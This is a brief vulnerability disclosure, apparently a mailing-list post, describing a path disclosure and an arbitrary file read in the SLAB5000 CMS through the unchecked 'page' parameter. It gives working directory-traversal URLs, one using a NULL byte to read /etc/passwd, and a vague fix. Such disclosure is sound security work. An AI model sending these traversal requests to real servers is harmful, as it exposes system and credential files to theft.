[Description] SLAB500 is a complete, dynamic, modular web-system designed to your specifications, allowing you to quickly and conveniently update all your content, add new pages, upload images, sounds and video from any browser, via our front-end interface from any location that you have web access. -- taken from they website http://www.slab5000.com -- I discover 2 bugs one known as "path disclosure" and Arbitrary File Read Vulnerability in the SLAB5000 Content Management System that allow malicious attacker to read sensitive information about the system. [Path Disclosure] Due to improper sanity checks in the variable $page: http://www.server.com/index.php?page=../../../var Warning: main(/usr/www/users/username/slab500/common/../../../var/index.php): failed to open stream: No such file or directory in /usr/www/users/usernameb/slab500/folder/index.php on line 63 [File Read] Due to imporper sanity inputs checks too, just adding the NULL byte and the end of the file: http://www.server.com/index.php?page=../../../../../etc/passwd%00 [Solution] Edit the source to do sanity input checks as well. Sorry if my english is bad :) Justin_T irc: #nt at Undernet shoutz: warcold, KrOsS, HoOH, lsdx, jsz, and all the guyz from DO.
